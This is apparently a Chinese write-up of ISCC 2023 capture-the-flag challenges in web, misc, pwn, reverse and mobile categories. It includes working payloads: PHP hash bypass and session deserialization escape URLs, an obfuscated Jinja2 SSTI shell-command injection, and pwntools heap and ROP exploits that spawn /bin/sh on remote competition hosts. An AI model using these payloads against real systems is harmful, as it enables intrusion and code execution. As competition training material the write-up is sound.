      $code = ~($code - 1);
      return $code * -1;
    } else {
      return $code;
    }
  }
function Checked($str){
  $p1 = '/ISCC/';
  if (preg_match($p1, $str)){
    return false;
  }
  return true;
}

function SecurityCheck($sha1,$sha2,$user){

  $p1 = '/^[a-z]+$/';
  $p2 = '/^[A-Z]+$/';

  if (preg_match($p1, $sha1) && preg_match($p2, $sha2)){
    $sha1 = strtoupper($sha1);
    $sha2 = strtolower($sha2);
    $user = strtoupper($user);
    $crypto = $sha1 ^ $sha2;
  }
  else{
    die("wrong");
  }       

  return array($crypto, $user);
}
error_reporting(0);

$user = $_GET['username'];//user
$sha1 = $_GET['sha1'];//sha1
$sha2 = $_GET['⁦//sha2⁩⁦sha2'];
//⁦see me ⁩⁦can you 

if (isset ($_GET['password'])) {
  if ($_GET['password2'] == 5){
    show_source(__FILE__);
  }
  else{
    //Try to encrypt
    if(isset($sha1) && isset($sha2) && isset($user)){
      [$crypto, $user] = SecurityCheck($sha1,$sha2,$user);
      if((substr(sha1($crypto),-6,6) =<mark> substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6)) </mark>= 'a05c53'){//welcome to ISCC

                                                                                                               if((MyHashcode("ISCCNOTHARD") === MyHashcode($_GET['password']))&&Checked($_GET['password'])){
                                                                                                                 include("f1ag.php");
                                                                                                                 echo $flag;
                                                                                                               }else{
                                                                                                                 die("就快解开了!");
                                                                                                               }

                                                                                                              }
      else{
        die("真的想不起来密码了吗?");
      }
    }else{
      die("密钥错误!");
    }
  }    
}        

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 1e4) + rand(1, 1e4));
?>
题目:
1.
ISCCNOTHARD经过MyHashCode()得到787668828277355348
password不能包含ISCC,且经过MyHashCode()需等于787668828277355348
2.
get接收$user=username,sha1,sha2,要求$sha1全部小写,$sha2全部大写
$sha1变为大写,$sha2变为小写,然后异或得到$crypto,
$user变为大写
3.
强比较判断crypto和user的sha1值的后六位是否为a05c53
思路:
穷举爆破sha1值得到user
构造两串字符串相异或后sha1后六位是为a05c53的两个字符串得到crypto
根据MyHashCode和intval40函数反推算法,构造出url编码构成的password
password2不能=5
注意sha2的参数名:%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2(这一串全都是)

最终构造的payload:
password=%45%ef%df%df%ea%eb%f0%e4%dd%ee%e4
password2=6
username=Q91ZNRJ1FQNMBZ16ND
sha1=aaaz
%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=JEJF

穷举出后6位为a05c53的username,不能有小写字母

纯数字
87540541938
9347377076
4034420305703
数字加大写字母
BI48U
ZKF1W6E2VRQBC8K
Q91ZNRJ1FQNMBZ16ND
A0EYYBGA973FTYGXW2958VRI2F26E5

构造两串字符串相异或后

sha1后六位是为a05c53的两个字符串

先把大写字母和小写字母异或可得的字符组列出来

import string
from collections import Counter

tmp = b''

for i in string.ascii_uppercase:
    for j in string.ascii_lowercase:

        tmp+=strxor(j.encode(),i.encode())
tmp = Counter(tmp)

print(sorted([i for i in tmp]))

然后发现是ASCII范围32-63的字符

import hashlib
import itertools
from Crypto.Util.strxor import strxor

for s in range(1,6):
    for i in itertools.product(range(32,64), repeat=s):
        if sha1(bytes(i))[-6::] == 'a05c53':
            print(bytes(i))

符合条件的有(就爆了五位字符以内)

+$+<
%(= /
79;4"
:9,)

以+$+<为基准,用aaaz异或,得到JEJF

sha1=aaaz
%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=JEJF

运算得到MyHashcode("ISCCNOTHARD")的值是787668828277355348

通过算法反推,构造一个url编码构成的password的MyHashcode函数返回值也是787668828277355348

def mod40WithSubNum(num:int):
    
    for subnum in range(256,1,-1):
        subed_num = num - subnum
        if subed_num % 40 == 0:
            return subed_num//40,subnum

num = 787668828277355348

password = ''

while True:
    num,i = mod40WithSubNum(num)
    # print(num,hex(i))

    password = f'%{hex(i)[2:]}' + password
    if num<256:
        password = f'%{hex(num)[2:]}' + password
        break

print('password =',password)

exp

http://47.94.14.162:10008/?password=%45%ef%df%df%ea%eb%f0%e4%dd%ee%e4&password2=6&username=Q91ZNRJ1FQNMBZ16ND&sha1=aaaz&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=JEJF

ISCC内部零元购-2

访问/zHbPL_v@k0F9.key

得到公钥

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8qs99ys37JO240cULA/e2BOG8
d2eC3OnL41PXJ/xb6UczxcLKJAou4k2bndxdD+EHfCj950mg4AfH63Ob/UHz5IWj
z8WdTE9KaXSXnWOTwuxF1WPzP9bXn6v8TRv+7ufpEfPObGI4Ww9s0ZptdSM84wUa
kd5hYybaIui5Ys3ZGwIDAQAB
-----END PUBLIC KEY-----

解密

n = 132486633425249684398812299221072826165664562853444441610785394949746484209039997478214965812462457160574226038495563796417085470364977551728314483810965626444912943832578693716909596105099341392678159590492373982058833551463804400478237538155915815623563695014441311146186490747479322363495352275411030366491
e = 65537

老狼老狼几点了

输12得到源码

<?php
  //"Hello! welcome to ISCC, wish you have a great time!";
  header("Content-type:text/html;charset=utf-8");
error_reporting(0);
echo time();

class what_time_is_it{
  protected $func, $target;

  public function __construct($show_time){
    $this->func = $show_time;
  }

  public function __wakeup(){
    echo "wakeup";
  }

  public function call_func(){
    $lets_show_time = unserialize($this->filter($this->func));
    if($lets_show_time['function'] == "show_time"){
      echo 'The time is: ". date("h:i:sa", time()). "<br>';
    }
    else if($lets_show_time['function'] == "hack"){
      file_put_contents('time.php', "<?php echo 'The time is: ". date("h:i:sa", time()). "<br>';");
      echo "做撚啊做,你还是看看时间吧";
      include($lets_show_time['file']);
    }
    else
      highlight_file(__file__);
  }

  private function filter($s){
    return preg_replace('/base64/i','', $s);
  }

  public function __destruct(){
    $this->call_func();
  }

}

if($_SESSION) unset($_SESSION);
$p1 = $_POST['param1'];
$p2 = $_POST['param2'];
$_SESSION['function'] = isset($_GET['func']) ? $_GET['func'] : "highlight_file";
$_SESSION['file'] = 'time.php';
if ($p1 !<mark> $p2 && md5($p1) </mark>= md5($p2)){
  if (substr($p1, 0, 10) === strval(time())){
    echo "Just the time";
    extract($_POST);
    $_SESSION['file'] = 'time.php';
    $_SESSION['function'] = "show_time";
  }
  else{
    echo "Sorry wrong time!";
  }
}
$let_me_show_time = serialize($_SESSION)."<br>";
$a = new what_time_is_it($let_me_show_time);
__destruct()→call_func()
$a接收lets_show_timesession里传递的反序列化数据,然后序列化
call_func调用filter函数过滤base64
POST接收param1和param2作为p1,p2,md5弱比较,但是p1的前十位要求等于一个未来的时间戳(十位数字)
所以只能用fastcoll碰撞md5得到p1,p2

GET接收func作为session里的function;
如果 $lets_show_time['function'] 为 hack,会将date("h:i:sa", time())写入time.php文件
然后包含$lets_show_time['file'],即包含time.php,通过POST向session传参改file可以包含到flagl
伪协议读文件php://filter/read=convert.basebase6464-encode/resource=flag.php

extract()函数可以实现变量覆盖和创建新变量(把post里的值取出来变为PHP变量,比如name=user,则为$name=user)(先这么理解),此题可用POST传参将_SESSION当中的参数覆盖,但是代码51,52行(自己往上翻)会将session中file和function的值重新赋值,故考虑session反序列化逃逸
原理参考这篇:https://blog.csdn.net/weixin_52585514/article/details/124200376

构造_SESSION[0],利用filter函数的过滤按照escape传入的反序列字符串填充base64
先构造escape,包含题目中的file和function两个参数,func是私有属性构造payload时要加上%00类名%00,构造出来后将session值反序列化一下得到需要逃逸的反序列化字符串长度
再令file=,function=1,构造出被session[0]“吃掉”的字符串,传参后反序列化内容如下
{s:1:"0";s:[length]:"[填充的base64字符串]"s:4:"file";s:1:"0";s:8:"function";s:1:"1";s:6:"escape":[length]:"[逃逸出来的字符串]"}

其中这一段";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";s:6:"escape";s:122:
字符串的长度为78
故只需填充长度为78的session[0],即13组base64,即可完成构造
实际传入的反序列化数据
a:4:{i:0;s:78:"base64base64base64base64base64base64base64base64base64base64base64base64base64";s:4:"file";s:8:"time.php";s:8:"function";s:9:"show_time";s:6:"escape";s:122:";s:4:"file";s:57:"php://filter/read=convert.basebase6464-encode/resource=flag.php";s:8:"function";s:4:"hack";s:1:"s";s:0:"";}

先选择一个未来的timestamp,然后用fastcoll碰撞md5,得到p1 p2

然后session反序列化逃逸,在timestamp对应时间传入参数

payload
param1=1683724500%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00R8%BD%A0%3C%D9%A9%3E%BB%92%F6%C6%0B%96%23%B4%E2%23N%16%CF%2AU%0FK%7E%81%BDN%9C%C44%A5%F3%D4%C6%CE%A6%1E%3E%EF%19%E0%DB%D8%EF%E1%96%0D%B618%B6%C0%BCI%5C%B1%B1%7B%9E%91%B6d%0FN6%F6%86%16%F7%26Y3%F5%EDv%8B%2B%F0%CD%8DK%8A%27%D8%A6%7F%84%DB%8F__%60-%C1v%D8%B8%0E%86%E9r%F6%1D%97kq%AA%AD%FD%28j%86%91%E3%C5%D2K%238%15%AEr%3F%F9%2Au
&param2=1683724500%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00R8%BD%A0%3C%D9%A9%3E%BB%92%F6%C6%0B%96%23%B4%E2%23N%96%CF%2AU%0FK%7E%81%BDN%9C%C44%A5%F3%D4%C6%CE%A6%1E%3E%EF%19%E0%DB%D8o%E2%96%0D%B618%B6%C0%BCI%5C%B1%B1%FB%9E%91%B6d%0FN6%F6%86%16%F7%26Y3%F5%EDv%8B%2B%F0%CD%8DK%0A%27%D8%A6%7F%84%DB%8F__%60-%C1v%D8%B8%0E%86%E9r%F6%1D%97kq%AA-%FD%28j%86%91%E3%C5%D2K%238%15%AE%F2%3F%F9%2Au
&_SESSION[a]=base64base64base64base64base64base64base64base64base64base64base64base64base64
&_SESSION[function] =1
&_SESSION[file]=1
&_SESSION[escape]=;s:4:"file";s:57:"php://filter/read=convert.basebase6464-encode/resource=flag.php";s:8:"function";s:4:"hack";s:1:"s";s:0:"";}

这个脚本打不通的话就用burp发包,然后把请求包curl下来

图片 8

然后用在线网站https://curlconverter.com/转换为python脚本

将里面的data替换掉上面exp里的7-16行再运行即可

Chatggg

SSTI

ask={% print []|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(415)("\x62\x61\x73\x65\x36\x34\x20\x66\x6c\x6c\x6c\x61\x61\x67\x2e\x74\x78\x74",shell=True,stdout=-1)|attr("\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65")() %}

misc

misc1 人生之路

纯脑洞题,画图得码表(

压缩包密码是

人生之路.jpeg

先rot成d开头的字符串,然后wsad画图,对应上下左右的线

然后i代表长线,z代表短线

图片 9

将这个脚本放到flag.txt同目录运行

import string
c=open('flag.txt').read()
c=c.strip()
a=c.split(" ")
a=list(a[0])
p=0
for i in a:
    if i in string.ascii_lowercase:
        i=chr((ord(i)-97+p)%26+97)
        while i not in "wasd":
            i=chr((ord(i)-97+1)%26+97)
            p+=1
    elif i in string.ascii_uppercase:
        i=chr((ord(i)-65+p)%26+65)
        while i not in "ZI":
            i=chr((ord(i)-65+1)%26+65)
            p+=1
a=list(c)
for i in range(len(a)):
    if a[i]==" ":
        pass
    else:
        if a[i] in string.ascii_lowercase:
            a[i]=chr((ord(a[i])-97+p)%26+97)
        elif a[i] in string.ascii_uppercase:
            a[i]=chr((ord(a[i])-65+p)%26+65)
a="".join(a)
a=a.split(" ")
map={
    "saIsIwIdIwaIsdIsI": "A",
    "sZwZdZsZaZdZsZaZ": "B",
    "aZsZdZ": "C",
    "sZwZdZsZaZ": "D",
    "dZaZsIdZaZsIdZ": "E",
    "dZaZsZaIdZ": "F",
    "aZsZdZwIaI": "G",
    "sZwIdZwIsZ": "H",
    "dZaIsZaIdZ": "I",
    "dZaIsZaI": "J",
    "sZwIdIdwIsaIsdI": "K",
    "sZdZ": "L",
    "wZsdIwdIsZ": "M",
    "wZsdZwZ": "N",
    "sZdZwZaZ": "O",
    "sZwZdZsIaZ": "P",
    "aZwZdZsZsdI": "Q",
    "sZwZdZsIaZdZsI": "R",
    "aZsIdZsIaZ": "S",
    "dZaIsZ": "T",
    "sZdZwZ": "U",
    "sIsdIdwIwI": "V",
    "sdZwdZsdZwdZ": "W",
    "sdZwaIwdIsaZ": "X",
    "sdIwdIsaIsI": "Y",
    "dZsaZdZ": "Z",
    "aIsIaIdIsIdI": "{",
    "dIsIdIaIsIaI": "}"
}
for i in a:
    print(map[i],end='')
print()

misc2 汤姆历险记

分离压缩包,文件尾字频统计得到压缩包密码

{yasuobpwrd91702!@$%^&*}

摩斯码,换行做分隔符

1倍行距. 1.5倍行距-

数出来的内容摩斯解码然后用字典换一下就是flag

dictionary = open('./dictionary.txt','r').read().split('\n')[:-1]
dict1 = {}
for pair in dictionary:
    key, value = pair.split(':')
    dict1[key] = value
print(dict1)
message="ISCC{sndgakea}"

[print(dict1.get(i),end='')if i in dict1 else print(i,end='') for i in message ]

exp眼熟吗,消息传递复制来的...

菜鸟黑客2

导出emoji.jpg

文件尾有压缩包

密码是ISCC2023

解压是vigenere

Key是emojiisfun,不知道去哪找

Pwn

Double

free没有清指针可以double free

from pwn import *

#p = process('./double')
p = remote('59.110.164.72',10021)
context(arch='amd64', log_level='debug')

menu = bytes.fromhex('EFBC9A')
def add(idx,size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())
    p.sendafter(menu, msg)

add(0,0x68)
add(1,0x68)
add(62,0x71)
free(0)
free(1)
free(0)
add(0,0x68)
edit(0, p64(0x6021d0))
add(1,0x68)
add(2,0x68)
add(3,0x68)
edit(3, b'/bin/sh\x00' + p64(0x15CC15CC) + b'B'*0x38 + p64(0xCC51CC51))

#gdb.attach(p, 'b*0x400939\nc')

p.sendlineafter(menu, b'5')
p.recvuntil(b'congratulations! Give you a reward: ')
stack = int(p.recvline(), 16)
print(f"{stack = :x}")
pop_rdi = 0x0000000000400cb3 # pop rdi ; ret
bin_sh  = 0x6021e0

p.sendafter(b"please input what you want to say:\n",flat(pop_rdi,bin_sh,0x4008eb,0,stack-8) + p64(pop_rdi+1)*24 + flat(pop_rdi, bin_sh, 0x4008eb))
p.sendline(b'cat flag.txt')
p.interactive()

chef

选4进入真正菜单后,edit时长度溢出,改头释放得到unsort,在malloc_hook写one_gadget

from pwn import *

#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.23.so')

menu = b':'
def add(size, msg='A'):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(size).encode())
    p.sendafter(menu, msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())

def show():
    p.sendlineafter(menu, b'1')

def edit(idx,size,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())
    p.sendafter(menu, msg)

p.sendlineafter(menu, b'4')

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

add(0x18)
add(0x48)
add(0x48)
add(0x18) #3

edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1

show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")

add(0x48) #4
free(1)
free(4)

show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")

free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))

add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))

p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')

p.sendline('cat flag*')
p.interactive()

谜语人

32位libc-2.27 每次进入菜单要覆盖v7为0,通过0x1000的输入缓冲区造大块释放得到libc

将第3个函数指针改为system然后执行v14,题目给的libc-2.27-ubuntu1.6-i386实际使用的是3ubuntu不是同一个版本。所以一直远程没通过,太过相信赛事方了,后来打出来发现有误。

from pwn import *

#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')

elf = ELF('./Riddler')
libc = ELF('./libc.so')

def show(off):
    p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def free(off):
    p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def add(off):
    p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())

def edit(off, msg):
    p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
    p.sendlineafter(b"emmm?!\n", str(off).encode())
    p.sendline(msg)

def back_door(msg):
    p.sendlineafter(b"Then?\n", b"0")
    p.sendlineafter(b"emmm?!\n", b'0')
    p.send(msg)

show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")

add(3)
add(4)

free(4)
free(3)

show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")

edit(3, p32(heap + 0x1c0))
add(5)
add(6) 

edit(6, p32(elf.sym['__do_x86_back_Door_']))

context.log_level='debug'

back_door(p32(elf.got['puts']))
libc_address = int(p.recv(8),16) - 0x67560
print(f"{libc.address = :x}")

edit(6, p32(libc_address + 0x3cf10))
edit(5, b'/bin/sh\x00')

p.sendafter(b"Then?\n", b"0"+ (p32(8)*3)[:-1])
p.sendlineafter(b"emmm?!\n", b'5')

#gdb.attach(p)
#pause()

p.sendline(b'cat /flag*')
p.interactive()

第二识势-2

libc-2.23通过修改top_chunk头,建块到bsf(bsf在heap前,需要一个负数,输入4字节负整数时会被自动扩展符号位到8字节整型,所以仅允许输入整数不影响写大块)再建小块覆盖bsf,进行下一步,func_111001有溢出,执行两次泄露libc并执行shell。flag是rabbit加密的,提示是bsf

still have a lot of strokes to learn,前边覆盖bsf时要求16位为a

flag后来去掉密码部分了

from pwn import *

#p = process('./p7')
p = remote('59.110.164.72', 10025)
context(arch='amd64', log_level='debug')

elf = ELF('./attachment-34')
libc = ELF('./libc.so.6')
#gdb.attach(p, 'b*0x400925\nc')

pop_rdi = 0x0000000000400bd3 # pop rdi ; ret

p.sendafter(b"Start injecting\n", b'\x00'*0x18)
p.recvline()
aaa = int(p.recvuntil(b'd', drop=True))
print(f"{aaa = :x}")

p.sendline(str(0xffffff51).encode())  #top_chunk

#0x6012b0 - aaa
p.sendline(str((0x6012b0-0x20-aaa)&0xffffffff).encode())
p.sendafter(b"Answer time is close to over\n", b'a'*0x10)

p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, elf.got['puts'],elf.plt['puts'], 0x4008a7))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']

p.sendafter("Direct to destination", b'\x00'*0x80 + flat(0x601a00,pop_rdi, next(libc.search(b'/bin/sh\x00')),libc.sym['system'], 0x4008a7))

p.sendline(b'cat flag*')    
p.interactive()

re

re奇门遁甲

按顺序输入

3 1 2 8 4 5 6 7

获得的碎片结果拼起来,

不用管出门密码

结果包上ISCC{}

re4 convert

z3约束求解

提取v8,如果不完整就下个断点在 qmemcpy和strcpy后

图片 10

图片 11

填入data 长度是23

data=[ ]
from z3 import *
x=[BitVec("x[%d]"%i ,8) for i in range(23)]
key =[ord(i) for i in "ISCC"]
for i in range(23):
    x[i]-=32
    x[i]+=i

for j in range(4):
    x[j] += j ^ -(key[j] % 4)
    x[j + 4] += key[j] % 5
    x[j + 8] += 2 * j
    x[j + 12] += x[j + 4]
    x[j + 16] += key[j] / 5
S= Solver()
for i in range(23):
    S.add(x[i] == data[i])
S.check()

print(S.model())
x=[0]*23
#z3的输出结果,去掉逗号后填到下面
x[16] = 55
x[0] = 73
x[19] = 33
x[15] = 73
x[10] = 61
x[13] = 83
x[3] = 67
x[6] = 49
x[11] = 83
x[4] = 123
x[5] = 82
x[1] = 83
x[12] = 78
x[20] = 77
x[18] = 47
x[21] = 86
x[7] = 47
x[2] = 67
x[22] = 125
x[8] = 67
x[17] = 41
x[14] = 85
x[9] = 62
for i in x:
    print(chr(i),end='')

Pull the Wool Over People's Eyes

key不动

去找自己附件的01字符串

很明显,

key = list(b'ISCC{ACYeeeloorrsuv}')
v10 = "0000000000000000000000000000000000000000001001100001000100111111000100100010001000110110000111100000000100100100001101010011010100000110001011010000110000000000"

print("".join([chr(int(v10[i*8:i*8+8],2)^key[i]) for i in range(len(v10)//8)]))

《狂彪》-2

需要Crypto库

pip install pycryptodome

脚本放到cellphone.enc同目录运行

from Crypto.Cipher import AES
import zipfile
import io

def decrypt_data(key, enc_file):
    with open(enc_file, "rb") as f:
        enc = f.read()

    data = AES.new(key, AES.MODE_CBC, key).decrypt(enc)
    zip_data = data[0x1d4c36:]
    zip_data = io.BytesIO(zip_data)

    zip_file = zipfile.ZipFile(zip_data)
    zip_list = zip_file.namelist()
    elf_name = zip_list[1]
    zip_file.extract(elf_name, '.', pwd=key)
    zip_file.close()

    with open(elf_name, "rb") as f:
        elf_data = f.read()

    return elf_data[0xe010:0xe030]

def generate_flag(data):
    flag = "ISCC{tHe_5eY@"
    for i in range(len(data)):
        d = data[i] - 16
        d ^= 2
        d += 44
        flag += chr(d)
    return flag

if __name__ == '__main__':
    key = b"1422201965553241"
    enc_file = "cellphone.enc"
    data = decrypt_data(key, enc_file)
    flag = generate_flag(data)
    print(flag)

图片 12

mobile

NOJAVA

s = '' # 填入你找到的eyj字符串
a = bin(int.from_bytes(s.encode(), "big"))[2:]

a = (4-(len(a)%4))*'0'+a 
a = [a[i*4:(i+1)*4] for i in range(len(a)//4)]

payload = ""
for i in a:
    if i=="1001":
        payload+="10"
    elif i=="0110":
        payload+="01"
    elif i=="1010":
        payload+="11"
    elif i=="0101":
        payload+="00"
    else:
        print("waaa")

print(b"ISCC{"+bytes.fromhex((hex(int(payload, 2)))[2:])+b'}')

练武 week3

web

ISCC单身节抽奖

ISCC{40zlYQsP2O3Zn26jSu67f7aMH5NdLrIe}

滥用职权-3

ISCC{5TokDjs2iStKq38cfxihzIKaYKYTfc7K}

Misc

Mystery of bits

压缩包密码

图片 13

ISCC{congratulation_and_it_is_real}

通信方式

眼花缭乱

梯度泄露攻击

https://zhuanlan.zhihu.com/p/439962757

https://github.com/wangjunxiao/GradDefense

re

Congratulations

把v9提出来,没看到[25]就不要改

v9 = [0 for i in range(26)]
v9[0] = -91;
v9[1] = 67;
v9[2] = 83;
v9[3] = -108;
v9[4] = 112;
v9[5] = -68;
v9[6] = -68;
v9[7] = 91;
v9[8] = 30;
v9[9] = -111;
v9[10] = 91;
v9[11] = 80;
v9[12] = 79;
v9[13] = -74;
v9[14] = 114;
v9[15] = -74;
v9[16] = -88;
v9[17] = -83;
v9[18] = 102;
v9[19] = -83;
v9[20] = -70;
v9[21] = -103;
v9[22] = 75;
v9[23] = 106;
v9[24] = -9;
v9[25] = 0x5f
for i in range(25):
    v9[i] = ((v9[i] & 0xff) ^ 0x53) & 0xff
for i in range(25 - 1):
    v9[24 - i] = v9[24 - i] + v9[25 - i]
for i in range(25):
    v9[i] = v9[i] + 30
c = ''
for i in range(25):
    c += chr(v9[i] & 0xff)

a = 'zabcdefghijklmnopqrstuvwxy'
a1 = 'abcdefghijklmnopqrstuvwxyz'
b = 'ZABCDEFGHIJKLMNOPQRSTUVWXY'
b1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
f = 'H' + c[1:] + '}'

p = ''
for m in f:
    if m in a:
        p += a1[a.index(m)]
    elif m in b:
        p += b1[b.index(m)]
    else:
        p += m
print(p)

CrackMePlease

main_0函数

图片 14

在strcmp(str1,str2)这行下断点

输入aaaaaaaaaaaaaaa

(几个a都行别太长)

图片 15

鼠标放到Str1上,就是flag

去掉{EASY}

图片 16

像tm这种带斜杠的,交的时候去掉一个,别问,问就是基础知识

Pwn

pwn1 困境

ISCC{9876-fbdb-4061-87ec-8dd1}

Eat_num

ISCC{9727-0381-4c23-bc9c-76be}

SIMS

ISCC{0b65-5ede-4a64-9a51-9254}

mobile

MobileTest

ISCC{FLAGISk^iam=ei}

ManyMany

解压一下找到lib下 arm64-v8a 文件夹的so文件

反编译(IDA)找stub函数

然后脚本对应填一下

s = ""  #第一段密文 stub函数第170行
reversed_str = s[::-1]

print("ISCC{"+reversed_str,end='')

str1 = "" #第二段密文 stub函数第225行

str2 = ''

map = {0:0, 4:1, 1:2, 5:3, 2:4, 6:5, 3:6, 7:7}

for i in range(8):
    a = map[i]
    # print(i,str1[a])
    str2 += str1[a]

print(str2+"}")

擂台 (擂台除了靶机题会变,都是静态flag)

擂台还是那么逆天

Misc

misc1

png的lsb里面是dp,这题是dp泄露

然后c的最后24位是有用的

#coding:utf-8
import libnum
import gmpy2

n= 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
e= 65537
dp= 2936286219093303777418371546225255143842612472610971843988746529814389509867813402303613618004332742373489872827166011551286889156611423726591335004601013
c1 = 15675664162517005241985334850747322279876279456574700862907552681481377133185544579989247038799479171776327240780404882118904537725766312056443466295064750703372005792416973033030771437551025381553764003235556081094078622478104365189796833112914604071350200351731894133093904945300457608647456120613115797620
c2 = 140861103274216455230721845501898308648236818144495265653434927079070691530723508171403973717514275151780171294904394774518093215002953258888100585054189890096052341414700257111375220034066504715553430076834975116291241799793991901777387974579764040747570218791785702867501258811622798523769676652686058178795
c3 = 99529796079917923667416703621596340605976154418748680997166709360261843180294998507573349072387930043122958288285449187996957718834900637362680133270163491814007472682256839243994660305780477877832077377778094226956503797223980753581850455217835856249465622909655714810911375056415139213238490343537769816334

for i in range(1,65535):
    p=(dp*e-1)//i+1
    if n%p==0:
        q=n//p
        break

phi_n= (p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m1=pow(c1,d,n)
m2=pow(c2,d,n)
m3=pow(c3,d,n)

print(libnum.n2s(int(m1))[-24:-1].decode())
print(libnum.n2s(int(m2))[-24:-1].decode())
print(libnum.n2s(int(m3))[-24:-1].decode())

# ISCC{iu5a!ui*3qehbca@90
# &rhic+hj69at8v*r346z9(b
# yawa5t0vr35-vr^if89%hu}

misc2

套中套中套。

最后一步是egg17

ISCC{happy_cat_511215}

misc4

内存取证

mspaint图

among us流量

misc5 G9的钢琴曲

第一步,rsa

CRT合并,然后coppersmith求解

得到密码

ISCC_Y0u_R3alLy_KnOw_CoPPersm1th

解压,里面用Cloakify解

hint是decabit-code,不用hint也行

类型是desserts

python2 decloakify.py ../music.rar ciphers/desserts

然后解出来是个WAV

图片 17

可以看到一段有+和-的字符串

提取出来,01转换二进制

import libnum

with open("./music .wav", "rb") as f:
    data = f.read()[0x6C:0x1192]

cipher_text = ""
for i in data:
    if i == 0x2d:
        cipher_text+='0'
        
    if i == 0x2b:
        cipher_text+='1'
# print(cipher_text)

print(libnum.b2s(cipher_text).decode())

ISCC{Congr4tulations_on_complet1ng_th1s_ch4llenge}

web

web1

www.zip

源码泄露

# -*- coding: utf-8 -*-

import random
import os

from flask import Flask, render_template, request, session, redirect, url_for, jsonify
from random import randint, choices
import requests

import string
import ssrfprotect

random.seed(os.urandom(2))

app = Flask(__name__)
app.config['SECRET_KEY'] = ''.join(random.sample(string.ascii_letters + string.digits, 4))

class Treasure:
    def __init__(self, location):
        self.location = location
        self.house = os.path.dirname(self.location)
        self.gold = os.path.basename(self.location)

class Bighouse:
    def __init__(self, treasure):
        self.treasure = treasure

    def __str__(self):
        if 'Bighouse' in self.treasure.location:
            return '你当着老大的面去找,结果被识破了'
        elif 'Treasure' in self.treasure.location:
            return '满屋的金银财宝让你迷失了自我'
        else:
            info = '你去这里找了:\n'
            filepath = (self.treasure.house + '/' + '{treasure.gold}').format(treasure=self.treasure)
            info += filepath
            info += '\n\n你找到了:\n'
            try:
                f = open(filepath, 'r')
                mes = f.read()
                f.close()
            except:
                mes = '什么都没找到还挨了顿打'
            info += mes
            return info

@app.route('/*********', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        url = request.form['url']

        try:
            r = requests.get(url)
            # Personalized Customization Library
            s = ssrfprotect.get(url)

        except:
            return render_template('robber.html', result='你不是自己人,别装了')

        r = requests.get(url)

        return render_template('robber.html', result=r.text)

    return render_template('robber.html')

@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        if request.args.get('find'):
            location = request.args.get('find')
            flag = Bighouse(Treasure(location))

            return str(flag)
        else:
            return '自己人应该知道老大把flag放在了/Bighouse/Treasure里面'
    else:
        return '你不是自己人,别装了'

@app.errorhandler(404)
def error(errors):
    return '页面不存在'

